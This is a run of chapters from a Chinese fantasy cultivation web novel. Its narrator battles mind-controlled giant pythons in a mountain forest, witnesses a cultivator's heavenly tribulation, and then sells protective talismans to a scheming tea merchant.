那阿彤更是白眼道,“大蛇咋了,少一惊一乍的,人家不是说了嘛,这是原始森林,大蛇多的是。”
其他人也点了点头。
就连曹俊都跟着说道,“要是没啥其他东西就继续观望吧。”
闻言,我皱了皱眉头。眼下读过书的好处又体现出来了,我觉得他们因为之前那条花蛇的事有点掉以轻心了。
因为我在那个男队员的脸上看到的神色,可不是一条花蛇能体现出来的。
他手里拿着望远镜,支支吾吾的,五官都快挤到一起了,肯定出大事了。
我们相隔大约十米远,我觉得事情不好,三两步窜了上去,我眼神好,根本不需要啥望远镜。
看了过去,我突然觉得毛骨悚然。
在憋宝人的身下,一条足有十米长,成年人大腿粗的巨蟒在盘绕。
呼!
看得我心惊肉跳的。
“兄弟,咋办啊。”男队员见队长都没搭理他,慌乱地问我。
“我给你盯着,你去跟他们说明情况。”我说。
他点了点头,小心地撤了回去。而我看向了另一边的看守人,那是个女的,她的脸色貌似也不太对劲。
我朝着她看的方向盯了过去,顿时也是头皮发麻。又是一条巨蟒,比现在水下的这个更加的粗大,它似乎也在朝着这边游了过来。
簌簌。
很快,曹俊他们都来了,拿着望远镜看了过去,脸色异常的难看。
他背靠在灌木上,面容严峻,“憋宝人危险了。”
闻言我愣了愣,“不应该先救人吗?”
那蟒蛇虽然没缠上憋宝人,但我总觉得它的目的很纯粹,就是那个憋宝人。
曹俊眼底闪过一丝异色,“再等等,他应该发现了异常,没跟我打信号,应该暂时还没事。”
我明白了,这曹俊的话很明了了,这是为了完成任务不择手段的。
这是他的队伍,我没法说,但我随后说道,“你看那边。”
曹俊奇怪,顺着我的手看了过去,结果他突然又缩了回来,眼神震惊道,“怎么还有一条?”
之后,他看向了那盯梢的女人,眼睛里都冒火了,看样子是在责怪这女人为啥不报。
我没理会他的反应,而是说道,“蟒蛇应该有领地意识吧?”
我心中也疑惑,有关蟒蛇的事,我有所了解。这东西有领地意识,一般两条蟒蛇出现在一块的几率很小。
除非!
交配!
但眼下,貌似不是那么回事,因为这条蟒,就好像是从远处直奔憋宝人来的。
曹俊也反应了过来,低头沉思后看向我,“没错,但感觉不像是交配求偶,更像有意识地过来。”
我俩相视一眼,异口同声,“人参!”
这次我们同时又看向了水里的憋宝人,我深吸一口气,一条,两条……足足三条蟒从远处奔袭。
“队长,我们这也有!”就在这时,有人忍不住叫了出来。
在那不足十米的营地,也突然出现了数条蟒蛇,四面八方而来。
大家都吓了一跳,其中小队的两个女人腿都软了。这场面的确有些吓人。
“不要动,不是冲着我们的!”曹俊也头皮发麻,但相对镇定。
我俩刚才交流之后,已经确定了蟒蛇的动机,所以,知道是怎么回事了。
嘶嘶嘶!
果然,数条巨蟒从我们身边掠过,全都朝着憋宝人那集合去了。
“队长,咋办啊,他有危险。”小队的人一个个脸都白了。
看得出来,他们是真不想跟这些蟒蛇动手啊。
倒是钱冬梅,貌似善心又犯了,急得像是热锅上的蚂蚁。
“动手!救人!”眼看着那些大蛇已经要缠上憋宝人了,千钧一发之际,曹俊率先出手,几步数十米,一把抓起了水中的憋宝人转身就跑。
而小队的其他人也都没闲着,大家也都拉住了其他大蛇的尾巴,这才给了曹俊救人的时间。
嘶嘶嘶!
救下了憋宝人,那些大蛇一下子失去了目标,嘴里吐着信子,随后,数十条巨蟒像是待机了一下,猛地朝着我们追了过来。
“分头跑!”曹俊回头看了一眼,脸色突变。他应该也没料到,这些庞然大物,居然爬得飞快,身躯扭动,跟离弦的箭一眼。
啊!
然而下一秒钟,那个他们带来的风水师被一口吞了下去发出了惨叫。
我回头看去,那风水师已经蠕动到了一条巨蟒的肚子里,他似乎还活着,因为我看到那蟒蛇的肚子上有拼命挣扎的手印。
然而,那蟒蛇吃饱了就不跑了,而是缓慢地爬上了一棵参天大树,用力地缠绕在上面。
咔嚓咔嚓。
蟒蛇不动了,那身躯里的人影也不动了。
啊!
正想着呢!
小队的其他人又有遭殃的了。
接着又一个!
十来个人,转瞬间就剩下四五个。
这场面令人毛骨悚然。
然而,此刻的我却突然皱了皱眉头,我越发觉得这件事不是个偶然。它们就像是被什么东西指挥了一样?
我甚至觉得那千年人参是个骗局?把我们引到这来喂大蛇?
嗯?
簌簌。
又是那个动静,这次我听得很清楚,它在跟我们跑,应该也就十米左右的距离。
在我们侧面?
我运转道力,双眼用力,这次我看到了,那是一道人影,他穿梭在林子上方,像是一个长臂猿。
怪不得之前我没有找到他,他不在地上,而是在树上面。
这是人?还是个其他玩意?
既然来了,那老子也露一手!
“阿梅,别跑了,来我这!”我叫住跑得飞快的阿梅,说实话,我挺佩服她的。都说伤筋动骨一百天,哪怕百天之后,也要再好好地恢复。
结果,看似柔弱的钱冬梅,眼下比他们队长跑得都快。
钱冬梅还是相信我的,真的就停下了脚步,来到了我身后。
我看了一眼侧边,那道人影还在飞快的追着曹俊他们,我眯了眯眼睛,看来这些蟒蛇跟他有莫大的关系。
“靈!”我加持了‘靈’字,催动道力,迎着一条张开血盆大口的蟒蛇一拳轰了过去。
轰!
这蟒蛇果然也不凡,第一下硬是抗住了。
“我小看你了!”我说完,这次用了八成力,一拳轰过去,十米开外的苍天古树轰然倒下。
再看那巨蟒,被我轰成了血雾,那花纹的蛇肉,四处飞溅,场面血腥。
仅仅一拳!
小队那边都看傻了!
一个个朝着我这看去。
连那些巨蟒也都不追了,跟待机了似的,机械般看向我。
再看那道树上的身影,也蹲在了树杈上。
这次我看清了,这是个约莫四十岁的中年人,穿了一身树叶子。
而我!
也大致知道了他是个啥!
我要是猜得没错。
这是遇到了传说中的修真者了。
……
第一百二十七章正经人参
也就是修仙的!
大道三千。
三千细算又三千。
其中有一仙门,以御兽为仙种,求得自然之道往长生。
他完全符合这些特征。
但眼下,我也只是猜测,是与不是,我拿捏不准,也没有那个时间去想。
因为我看到那些本来还在追逐其他人的巨蟒,突然都盯上了我,那原本碧绿的眼睛,闪动着猩红,已经朝我扑了过来。
我朝着侧面蹲在树上那人撇了一眼,这人看不清面孔,但嘴上在嘟嘟囔囔地,手里搓着个牌子。
那是咒语。
虽然我听不懂,但我能确认,那就是咒语。
“找死!”我怒喝一声,调动体内的道力,我默念‘行’字诀,主动迎了上去,一掌拍在了最前头的蟒蛇头上。
噗。
蟒蛇头直接爆开了。
但它似乎没有死透,那庞大的身躯卷动,翻滚,折腾了好一会才停下来。
然而,事情还没结束,又来了几条蟒蛇,张着血盆大口,一口的獠牙,蛇面狰狞。
艹!
四五条庞大的身躯全都冲了过来,我倒是没事,但看了一眼身后的钱冬梅,因为刚才我叫住了她,以至于其他人没事了,她反而陷入了险境。
我猛地拉住了她的手,一把抱在怀里,然后脚下用力,泥土被我踩出深坑,猛地一跃,跳出了险境。
“你,你,你是人嘛。这有二十米吧。”钱冬梅指着我,她没有被救的感动,反而骂我不是人。
但眼下我没时间搭理她,那些蟒蛇扑了个空,又朝我绞杀过来。
此刻,其实我有两个选择,一个是直奔那个御兽的人,所谓擒贼先擒王嘛。
但我不确定他有没有后手。
万一攻击他我怕陷入更大的麻烦。
第二个选择,那就是把这些巨蟒都杀了。
我眯了眯眼睛,随后,我发现了还有第三个选择,蟒蛇之中,有一条貌似很特别的。它一直躲在几十米开外的树后,直立着身躯看着这边。
它!
好像是在发信号?
拿下它!
没错的!
那蟒蛇在侧面,我猛地朝着它奔袭过去。
“他,他跑了!果然,外人就是靠不住!”我身后传来了阿彤的声音。
“哼,你们小队怎么回事?老板怎么找了你们这群无能的人。”接着就是那个憋宝人在那抱怨。
“不是的,他,他肯定不是跑了,他,他要引开蟒蛇,对,肯定是这样。”钱冬梅替我解释。
“哼,跑!”曹俊声音冰冷,显然也认为我跑了。
…
然而,此刻的我并不关心他们的想法。跑?我可不觉得是一个好的选择。这些被控制的蟒蛇,明显有着无限的体力。
跑?
能跑多久?
等体力耗尽,那就是盘中餐。
要是从一开始小队的人有点斗志,那死掉的人,也有点价值。
而不是这种死法!
我都临近了,这条蟒蛇却没发现我,依旧在那摇晃着身躯,然后就听到身后传来了惨叫声,他们又被蟒蛇追了。
打蛇打七寸,我猛地伸手扼住了这蟒蛇的七寸,一脚踩在它尾巴上,接着我就要扯断它。
“不,不要。”我刚要动手,一个稚嫩的声音在我耳边响起。
这声音听上去像个刚会说话的婴儿,但我一抬头,看到那个穿着树叶子的中年人蹲在树梢上一脸焦急。
我怀疑了,他在跟我说话?
“你说不要就不要?你害死了这么多人,一句话就想了事?”我突然用力,那蟒蛇疼得身躯扭动,但被我踩着,挣脱不掉。
“求,求你,不,不要。是,他们找我,我们,麻烦。我,没办法。”我确定了,就是他在跟我说话,这家伙口齿不灵,像是个原始人。
但我可不是啥圣母,听了别人一面之词就放过了一个要杀我的蟒蛇!
见我还是杀意浓浓,他居然跪在那了,那意思求我放了这条蟒蛇。
“道友,你就放了它吧。”就在这时,我听到了一道清脆的声音。
这声音分不清男女,似乎从四面八方来。我微微抬头,看着茂密的原始森林,一时间有点天旋地转。
千里传音?
来了个大的!
我惊了。
这本事我知道,千里传音,这玩意已经不是简单的术法了,而是仙术。
说是千里传音有点扯淡,但百里,几十里还是能做到的。
而能使出这仙术之人,按照方士的记忆来说,那是一方的禁忌,不能惹!
我深吸一口气,下意识地往深山看去,要知道这不过是牢山山脉外围深一点的地方,连中区都算不上。
结果就接连的碰到了两个家伙,一个能御兽的,一个会千里传音的。一个比一个神秘。
我松开了手,这巨蟒从我身边快速划走,盘在了那‘野人’身上。
让我意外的,野人并没走,而是朝我鞠躬,“谢,谢。”
我没说话。
因为我在等着那人的话。
“近日,总有些猎户来此地,捕蛇捉蟒,伤害无辜。还传出千年人参之事,引得山神不满。此人乃御兽门传承之人,山神钦点护宝人,前来惩罚这些觊觎之辈。这便是前因后果了。”那声音再次响起,听起来有些无奈的味道。
“那就是说,千年人参是假的了?”我问。
“非也,千年人参倒是没有,但九百九十九年的有。就是那河流处的家伙。道友,山神刚才跟我说了,你不杀护宝神兽,送你一二百年的开了灵智的山参,以表谢意。”说完,他又说,“牢山深处,危机重重,还是不要来的好。”
等他这些话说完,那御兽人和那护宝蛇都不见了,接着我看到一个头上顶着三片叶子的肚兜瓷娃娃朝我撒丫子跑了过来。
起初这小家伙很胖,特喜庆,但随着临近,它跑着跑着就成了一颗巴掌大的人参。两条小腿就是人参须子,看得我一愣一愣的。
果然,跟着这小队长见识,以前只见了动物精怪,这下子连植物精都见到了。
而正在这时,小家伙已经顺着我的腿爬了上来,主动地钻进了我的手里,干脆平躺了。
那样子好像在跟我说,宝贝,吃了我吧。
这让我想起了当初索菲亚对我做的事,她趴在床上,大腿踩在地上,扭着屁股卖弄风骚地看着我。
我万万想不到啊,女人这样,人参也这样?
这玩意真是正经人参吗?
……
第一百二十八章有人被控制了
我还在无语呢,曹俊他们突然赶了过来,我赶忙把人参塞进了兜里。
它倒是听话,也不闹腾,在我兜里老老实实的。
“你没事吧。”钱冬梅关心道。
“没事。”我摇了摇头,反过来问他们,“那些蟒蛇都撤了吧?”
曹俊点头,“嗯,都撤了。是你这边把问题解决了吧?发生了啥事?”
我当然不能把御兽者和千里传音那人的事说出来,而就算说出来,我觉得哪怕他们有些本事,但估计也不会信的。
修仙的?
这种事在当下太过缥缈。
我说,“我找到了蛇王,把它吓跑了。”
曹俊愣了一下。
没等他说话,一旁的阿彤突然说,“这么简单?”
简单?
我无语了?
那护宝的蛇,我要是感觉没错的话,一个能灭了他们小队。
这女人站着说话不腰疼。
但想到刚刚死了不少人,我也没计较,“不能说简单吧,只能说我能对付。它拿我没办法,所以跑了。”
曹俊点了点头,“谢谢了,今天要是没有你出手,我们……”
结果阿彤突然指着我鼻子说道,“你明明有能力救所有人,为啥最危急的时候你不出手!为啥!是你,害了大家!”
看着阿彤那撕心裂肺的嘴脸,其他活下来的几个幸存者也没说话,脸上都有点伤感。
倒是那个憋宝人,对我也不是很满意,撇嘴道,“你这么厉害,你早点动手抓住那蛇王,控制住这些蟒蛇,我是不是就拿到千年人参了?哼,这件事我要跟老板说,钱你们一分别想拿到!”
钱冬梅忍不住说道,“你们,你们,要不是冯大师,我们大家都是死人了。你们这是恩将仇报!”
阿彤却反怼道,“钱冬梅,你少在这装好人,大家就是被他害的。他有能力救所有人,为啥不救。这种人自私自利,就是个浑蛋。”
说完,阿彤开始仇视我了。
曹俊深吸一口气,也没说话。
钱冬梅想要开口,被我拉到了一边。
我说,“这牢山比你们想象中的要可怕,那所谓的千年人参,其实就是个诱饵。诱大家上当的。而且我发现那蛇王其实是被控制了。”
阿彤,“少在这说没用的,就是你害死了大家。我要你现在跪下来,给我死去的队友道歉!”
看着咬牙切齿的阿彤,活下来的几人面面相觑,而我呢,也是面色平静的看着她说道,“那东西能控制蛇王,也能控制我们大家,让我们自相残杀。”
听了我的话,气氛一下子紧张了。
眼下,身为队长的曹俊也是后怕道,“这,真的嘛?那咋办?”
我想了想说道,“控制动物倒是容易一些,因为动物就算开了智,也就是几岁小孩的智商。控制人不容易,像大家这种有能力的人,那就更不容易了。它只能控制人的情绪,让我们内乱,然后再趁机控制所有人。我们要把它揪出来。”
曹俊说,“冯大师,你能看出来谁是被控制的嘛?”
我说,“当然能了,就是阿彤。你没发现,都这个时候了,万分危急,她居然扰乱大家的情绪。所以她被控制了。”
听了我的话,大家都愣住了。然而,我已经动手了,一把抓住阿彤的衣领,上去就是一巴掌。
阿彤被抽啥了,“你!”
但我哪里会让她说话,巴掌抡圆了,一巴掌又一巴掌,短短一分钟,把她抽成了猪头。
然而还没结束,接着我照着她肚子锤来锤去,直到把她打得跪在那吐了,我才放手。
大家都傻眼了,赶忙围了上来。我却急忙制止他们,“别过来,她很危险,我先确认一下,她好没好点。”
说完我问阿彤,“阿彤,你现在还有愤怒的情绪吗?还想指责我吗?”
阿彤被我打成了猪头,她都快哭了,用力地冲我摇头。但那眼神里,憋屈得像个土拨鼠被抢了饼干。
阿彤也不是一般人,她体内有能量的,应该也是修炼过古武的。但是,在我面前完全不够看。
至于他是不是被情绪左右,当然没有这回事,我就是编了个故事打她一顿。
你看!
效果立竿见影。
我舒服了,然后看向大家,“没事了,控制他的东西被我打没了。不过,我觉得我们当中还有人被控制了。”
说完,我看向了憋宝人。
“兄弟,刚才我说话有点重,您别见怪。这根本没有千年人参!”憋宝人一本正经地说道。
“行。那你也没被控制。其他人呢?”我环顾四周。
没有一个说话的。
“各位,我是来看看的,看完了,我觉得我得下山了。你们要继续那就继续。”这次进山,眼下就我有收获,而我觉得也不能在往里面走了。
其他人面面相觑,他们已经见识到了我的实力,眼下我都要走了,他们自然也没留下来。
一同往山下走。
“你,你这是在公报私仇。”钱冬梅凑了过来。
“你是不是也有情绪啊?你被控制了?”我看着她肚子说道。
“你……”钱冬梅捂着肚子,她撇了撇嘴,小声跟我嘀咕,“果然,你就是在报复。不过,报复得很爽,我早就看阿彤不顺眼了。”
我笑了笑,倒是有些意外,这个单纯婴儿肥,竟然也会有这种报复人的情绪呢。
上山容易下山难,我们物资都在山上,走了一天一夜,大家都精疲力尽的。
眼下还是幸运的,向导活着,要不然,估计大家都得迷路。
好在第三天的清晨,我们回到了出发点,看到了山下的车。车上还有些物资,大家想着吃点东西就下山。
结果突然迷雾四起,周围的可见度不到两米,大家都聚在一起,经历过蟒蛇群的事,精神都高度紧张。
还是曹俊反应快,“是瘴气,大家先上车,避过瘴气。”
他们上车了,但我没有,我反而一跃跳上了车棚。
我皱了皱眉头,我听到了雷电的声音,没错,就是雷电的声音。因为我修的五雷,对雷电非常敏感。
我运转道力,双眼用力,雾瘴在我眼里倒是清楚了。
紧接着我顺着雷电的声音看去,那里是牢山深处,我估不出来多少米,但我却知道很远,距离非常的远。
这雷声除了我,估计谁也听不到。
而此刻,我屏住了呼吸。在那牢山深处上方,我看到了五彩斑斓的云朵,云朵中雷电劈啪作响。
这雷!
比我那五雷诀的雷还要强化十几倍,威力如天威啊!
而在雷电的下方,我竟然看到了一个盘坐的人影在缓缓升起。
渡劫?
是渡劫!
这好像是!
飞升雷劫!
传说中的浩荡天劫——九雷罚!!!
……
第一百二十九章法天象地
九雷劫!
羽化登仙之天劫。
方士记忆里,他曾见过一位得道高僧渡此劫,那高僧呼风唤雨,开山劈海,威名赫赫。
结果却死在了此劫当中。
灰飞烟灭。
我心脏狂跳,如今灵气稀薄,根本不适合修仙。别说渡劫了,能修炼到筑基期貌似都不是一件容易得事。
然而,一个渡劫的修士我却碰到了!
怎能不震惊。
吼!
那边,雷劫滚滚,天威浩荡,刹那间,如高楼大厦粗的雷电贯穿大地。
看得我心惊肉跳。
那道人影硬生生地扛了下来。
“这还是人吗?”我忍不住吐槽。
说实话,这种事哪怕亲眼所见,事后也会不敢相信自己的眼睛。
实在太震撼了!
那是一种逆天而行的霸道。
不但任凭雷劫劈下来,还要迎着雷劫而上,逆天,霸道,无与伦比。
轰隆隆!
第二道雷又出现了。
大地闪动,雷云中光芒四射,五彩斑斓,那天边像是被各种颜色所闪耀。
而周围的瘴气也更浓了,连我这双眼都视线模糊。
轰!
随着那道闪电落下,我看到牢山深处燃起了火焰。那道人影,又扛了下来。
一道,两道,三道……六道粗雷,每一道都越发粗大,而雾气也越来越浓。
那道身影从一开始的硬抗,到第六道已经祭出法宝,身躯似乎变得有些缥缈。它好像受伤了。
但即使如此,他还是在面对,那种浩然之气,惊天动地。
嗷!
随着第七道雷的降临,我看到那身影全力抵抗,一股咆哮从他那小小的身躯中释放。
轰轰轰。
紧接着,大地震动了起来。我眨眼的功夫,一道巨大如山的身躯出现了。
身躯似人,但无头,它手中拿着一把巨斧,朝着那天劫指去。
见到这一幕,我浑身微微颤抖,“这是,法天象地?”
我深吸一口气,还想看个究竟,但随着那第七道雷劫的落下,周围刮起了狂风,那云雾比之前还要浓。
这次我不但看不到那边的情况了,连声音也都听不到了。
我立在原地很久,反复地催动道力,但结果都是一样,听不见,看不到。
直到过了半个小时左右,那瘴气才渐渐散去,我在朝着牢山深处观望,那边已经风平浪静,仿佛什么事都没有发生过。
“真的什么事都没发生过吗?”我深吸一口气,要不是亲眼所见,我也会觉得自己看错了。
但我相信自己的眼睛,相信那是真实画面。
它是人吗?
还是这个牢山的生灵?
大蛇?
又或者是那个给我传音的家伙?
它渡劫成了?
还是败了?
那个无头的是法天象地?
还是说!
是个无头的东西?
刑天?
此刻,我的脑子里有些混乱,因为我实在太好奇了,有种恨不得冲进牢山深处弄清楚的想法。
而在想到了‘刑天’这两个字的时候,连我自己都觉得毛骨悚然。
那些上古的故事,真的是假的吗?
“冯宁,你没事吧?”浓雾散去,大家都从车上出来了。钱冬梅四处找我的身影,发现我在车上,这才松了口气。
“没事。”我收回了看向山中深处的目光,朝着钱冬梅摇了摇头,但我能感觉到,自己的神态有些不自然。
一直以来,因为我是修道的,对人性方面悟性又高,我都是站在一个很高的角度去看问题。
但今天,我被震撼到了,突然觉得自己很渺小,这种感觉怎么形容呢,有种失落感,有种无力感。
这种庞然大物,我能对付吗?
但很快,这种感觉变成了激动,向往,因为我发现,我有机会成为那种生灵。
直到从牢山离开,我们回到昆市,因为疲惫,大家住进了昆市的一家国际酒店。
而那件事已经过去三天了,这种感觉依旧在我合内心回荡。
我想成为那样逆天的存在。
而我也发现,我的实力又增长了,还是一大截的增长。那丹田处的嫩芽,更是长出了一片完整的叶子。青翠欲滴,如被细雨滋润的叶子。
之前的想法完全对,貌似只要我战斗,实力就会跟着增长。
具体为啥,我还在想呢,房间的门被敲响打断了我的思路,我去开门,钱冬梅说有人来了,让我一起去。
我好奇是谁?
因为我不是小队的人,这次来连帮忙都不算,他们的事我也不太知情,按理来说不该叫我。
但本着对小队感兴趣,我还是去了。
我跟着钱冬梅去了曹俊的那个房间,小队里的其他两人,还有那个憋宝人都在。
除此之外,还多了两个人,一个是大腹便便的中年男人,西装革履,脸上挂着笑意,一看就是那种大老板。
另一个是他的保镖,一身的黑衣,眼神锋利,冷峻。
“大师你好,我叫王福,当地的生意人,给面子的叫我王哥。”大腹便便的中年人见我进来倒是客气地伸手,但话中也带着一丝傲气。
“王哥。”以往的我,别说他生意人了,安区长我都不给面子。但看到了那牢山深处的画面,我觉得自己还要低调。
所以我主动伸手握手,嘴上也是非常的客气,给人的感觉有点低人一等的意思。
对于我的反应,王福也是非常满意,握手松开后,他眯了眯眼睛,给一旁的保镖使了个眼色,保镖拿出一个小箱子放在了柜子上打开。
一沓沓的钞票,二十多捆。
大家的眼睛都亮了,王福却只是平静的笑了笑,把目光落在了我身上,然后说,“哎,我也没想到这次会出这么大的事,没了不少人。那十万是小队的任务费,另外的十万,是我给那些出事朋友的钱。”
提到这事,大家脸色都不是很好,倒是曹俊站了出来说道,“王老板,那我就收下了。”
王福点了点头。
我以为这事就到此为止了,结果王福却说,“大师,能否挪步,我们私下谈谈。”
我有些奇怪,他跟小队有任务,跟我可没有。但本来就是想长见识的,也就答应了。
这次连那个保镖都没有跟来,结果,王福说想让我跟着再去憋宝,还说直接给我十万。
从我见到这个王老板,我就总觉得哪里不对,明明任务失败了,他却显得有些漠不关心。这我们也不认识,他却在小队人的面前单独找我去憋宝?
“王老板,我不会憋宝。这次只是帮朋友忙过来看看。”我说。
“啊?你不会?怎么可能?他们可都跟我说了,说你连蛇王都给打跑了。老弟,你是谦虚了。”王福不信。
我却摇头,从兜里拿出了几个道器说,“王老板,我说的都是实话,我其实是个卖道器的,这次多亏有这些道器才能化险为夷。”
我总觉得这家伙是个坑货,所以我没答应,反而把我的道器拿出来了。
一个字!
卖!
……
第一百三十章心机的王福
“真的?”王福拿着我的吊坠打量,似乎不太信。
“王老板,你觉得我会自己贬低自己吗?要是有那么大的能耐,不拿来赚钱?”我故意说道。
王福将信将疑,低头嘟囔道,“这倒是,那护宝蛇王,呼风唤雨,怎么可能被一个年轻道士吓跑……”
随后,他貌似意识到自己说错话了,赶忙转移话题道,“大师,那你这道器吊坠怎么卖的?”
我说,“五十万一条。”
本来还一脸轻松的王福,瞪大眼睛,“兄弟,你这,你这还不如去抢啊。”
我现在更加确认这个王福就是个坑货了,我猜测,这次任务肯定没那么简单。
他应该是想让所有人都死在那的。
但眼下没有证据,也只能把这件事放在肚子里了。另外,死不死的貌似跟我都没有关系,我涨了见识,实力大增。
我想着不能白来,那就顺便坑一下这个老板吧。
我板着脸,“王老板,你要是不要的话,可以不买,我不强求。这次任务我用了五个,一个五十万,那就是二百五十万呢。我这都是公道价。我帝都的几个客户,我卖给他们都是一百万一个。不信你去帝都黎家问问。”
我东扯西扯,给人一种真诚感。
本来王福不信的,但是听我提到黎家,他突然眼前一亮,“黎家?拥有天雷大厦的那个黎家?”
我说,“额,王老板也认识他们啊。黎峰,黎雅,那都是我好朋友。我们是光腚娃娃。他家天雷大厦的事,还有游泳池死人的事,都是我摆平的。”
本来我就是想骗骗有钱人的,所以说的话真真假假,结果王福却用力地眨巴眼睛,嘴里念叨,“冯大师,冯大师,你就是那个有名的冯大师?冯宁大师?”
我一脸的奇怪,原本这个王福是要坑我的,结果可倒好,他似乎知道我,眼神都变得敬重了。
“王总知道我?”我问。
“哈哈哈,冯大师,您不应该这样问啊,您应该说,现在这帝都商圈的人,有几个不知道您的。您连大泰的降头师都给灭了,那是真有本事。这道器,五十万是吧,我买五个。”王福对我的态度一改之前,五十万又不贵了。
我愣了愣,我也没想到自己的名气居然这么大,但想到有钱赚,随手就递过去五个。
“大师,谢谢大师。钱的话,要是大师不嫌弃,跟我去一趟我家,我取给您。”王福笑道。
“好。”我点了点头,嫌弃?谁会嫌弃钱呢。
其实我也没想到,我在王福的商圈里居然这么有名,他一开始明显就是想坑我,但得知我就是那个冯大师之后,态度来了个一百八十度的大转变。
我跟钱冬梅他们打了声招呼,坐上了王福的虎头奔。
昆市,市中心的独栋别墅里,王福又是黄金,又是百万现金,给我凑齐了二百五十万。
而他也是迫不及待的戴上了从我这买的五个道器,毫不夸张的说,五个都给戴上了。
王福的样虽然有点滑稽,但在我眼里又没啥,我猜测他肯定遇到了点啥事,但我没去点破。
收了钱,我也没直接走,在王福这喝茶。
“冯大师是东北人,应该喝不惯红茶吧?”王福拿茶打开了话茬。
“还好,家里有别人送的红茶,还算习惯。”我平淡道。
“啊。北方的红茶,都是我们这出去的。这边几块钱,到你们那炒作一下,几十几百几千。大师可以留个地址,您要是想喝了,我给您邮寄,保证都是顶尖茶叶。”王福笑着说道。
我不懂里面的道道,所以也没有接这个话茬。我想着喝完一杯就走的。
结果,别墅里突然出现了个女人,一个看上去三十岁左右,走路妖娆的女人。
女人一出现,直接趴在了王福的身上,结果,王福刚要搂着她的腰,她像是扎了刺一样,‘妈呀’一声跳了起来。
“亲爱的,你这是咋了?”王福奇怪地看着女人。
“没,没。”女人手指抠向掌心,看了王福一眼,又看向我转移话题,“老公,这位是?”
王福兴冲冲地介绍起了我,又把从我这买了道器的事说了一遍,女人的脸色突然就变得难看了,然后说换一身衣服去上楼了。
看着女人离去的身影,我皱了皱眉头,因为我发现,王福身上的一个道器吊坠已经毁掉了。
这个女人!
可能不是人啊!
“冯大师,我这娇妻,您也感兴趣?要不要晚上留在这,我安排。”王福突然给了我一个‘男人都懂的’眼神。
我愣住了,我见过好客的,但没见过这么好客的。
我说,“王总,那不是您妻子吗?”
王福却小声道,“冯大师,这是我秘书,帮我打理事的。她懂得可多了呢。只要冯大师留下来,我保证春宵一刻。要是冯大师能跟我做事,夜夜笙歌。”
然而,面对王福这副面孔,我却冷笑。
王福奇怪道,“冯大师,您这是怎么了?”
我说,“王总,你是不是觉得我这人卑微啊?”
王福怔了怔。
我又说,“你把我弄你家别墅来,又把这女人弄过来,目的是想留着我给你做事是吧?”
被我拆穿,王福的脸色有些阴沉,“冯大师,在我这有钱赚,有漂亮女人玩,不好吗?我可是给了你两百多万呢!怎么,还留不住你?!”
王福也不装了,说起话来发狠。
这也验证了我所猜想的,这人肯定遇到了解决不了的事,想让我出手。
而得知我是圈内说的那个冯大师,他就在算计我了。
我说,“我想走,你觉得拦得住吗?”
王福说,“冯大师,你想跟我撕破脸?你信不信我一个电话,你出不了昆市!”
闻言,我却笑道,“这个我信,一个能让那小队去办事的人,肯定不简单。”
王福脸上露出笑容,“大师,想通了?”
我摇了摇头,“王总,在找我麻烦之前,你还是好好照顾自己吧。你快死了。”
王福愣住了,“怎么,你在威胁我?”
我摇头,“低头看看你那道器吊坠。”
王福反应慢了半拍,等他低头一看,眼睛都直了,“这是咋回事?吊坠里面的符烧成了灰!”
……
第一百三十一章吸阳
王福扑棱地坐了起来,从脖子上把那坏掉的道器吊坠拿了下来,睁大眼睛,反复地看。
我冷笑。
怎么回事?
当然是他的秘书有问题!
但对于这种想算计我的人,我还没到那么好心地告诉他。
我拿起茶杯一饮而尽,随后把装有钱跟金条的两个包拿在手里,背在身上。
“冯,冯大师,刚才我说话重了些,还请冯大师指点迷津。”眼下的情况有些诡异,看得出来王福怕了,对我的态度又尊敬了起来。
我冷哼,这种人还真是贱骨头呢。刚才算计我,威胁我,把我当软柿子,现在出了事,又怕得要死。
“王总,我卖你的这五个道器吊坠,作用都各不相同。其中有养生的,有攻击邪物的,而你刚才碎掉的那个,是保护你不受邪祟入侵的。”说完,我又瞥了他一眼说道,“王总,你可以给黎家打个电话打听打听我,问问他们敢不敢跟我叫板。”
说完,我眯了眯眼睛,猛地朝着别墅的墙上轰了一拳。
轰隆!
拳风所过之处,卷起千层土浪,那别墅的一面墙,硬生生地被我轰出了一道两米高的大窟窿。
人在别墅里,冷风已经吹了进来,外面的风景一览无遗。
王福虽然有钱,但应该没经历这种阵仗,吓得直接趴在了沙发下,蜷缩成了一团。
随后,别墅外突然闯进来了不少保镖,一个个盯着我,如临大敌。
好半天,王福才从地上爬了起来,他呼吸急促,看我的眼神变了又变。
“都,都退下。”王福深吸一口气,脸色发白,等保镖们退走后,他才用力地咽了口吐沫,对我说,“大师,是我王福装大了,还请大师不要见怪。”
我看都不看他一眼直接走了。
还是那句话,人不犯我我不犯人。王福威胁我?他还不够格。
以我现在的实力,捏死王福就跟捏死蚂蚁一样简单。
修道有些日子了,我也见过邪修。在我眼里,正道邪道,在有实力的人这,那就是一念之间。
善恶!
也是一念之间。
我刚才但凡动一点杀念,他已经死了。
我那一拳是警告。
效果很明显。
从别墅离开,因为身上带着一百多万,还有价值百万的黄金,行动很不方便。
所以我打了一辆出租车,去了趟邮局银行存钱。本来这么一笔巨款我觉得会很麻烦。
但到了地方,得知我来存一百多万,银行主任亲自见得我,收了我五块钱,直接存好了不说,还招待了我一番。
主任姓黄,叫黄川,约莫四十岁,个子不高,有点秃顶,但意气风发。
“老弟,东北人?”办公室里,黄川给我倒茶。
“龙省人。”我的话不多,但对于这个黄川我倒是非常有耐心。
刚才办理存款业务的时候,那个银行员工对我很警惕,又是让我出钱来路的证明,又是说要找警方做调查才行。
总之很麻烦。
倒是这个黄川直接出面给我办理了。得知我还有一百多万的金子,他也帮我解决了,说银行有存取金子的业务。
这事他交给了银行员工,请我过来喝茶。人家这是帮我解决了两次麻烦呢,伸手不打笑脸人,何况我很看重这个陌生人。
我已经不是那个十八岁的愣头青了,眼下,能解决问题的人,在我眼里都值得交一交。
“来这做生意的?”黄川笑着问我。
“不是,给人看看事。这些钱,都是看事给的报酬。”我也没瞒着,看事这个身份,还是很好用的。
“看事?东北的出马仙?”他眼前一亮。
“就是看事的,不是萨满。”我摇头。
“哦,那不知道兄弟是给哪个富豪看事?从东北跑到昆市来了。”见我没说话,他又赶忙解释,“老弟,别多想。要是不想说,那就不说。我这啊,职业习惯。没有恶意。”
“没啥,一个叫王福的,给他看看问题。卖了他五件道器,卖了二百五十万。”
“王福?大茶商王福?”听到这人,黄川突然站起来了,随后意识到自己失态,急忙坐下道歉,“抱歉兄弟,听到这人我就来气。”
我奇怪,“老哥,这人怎么了?有啥问题吗?”
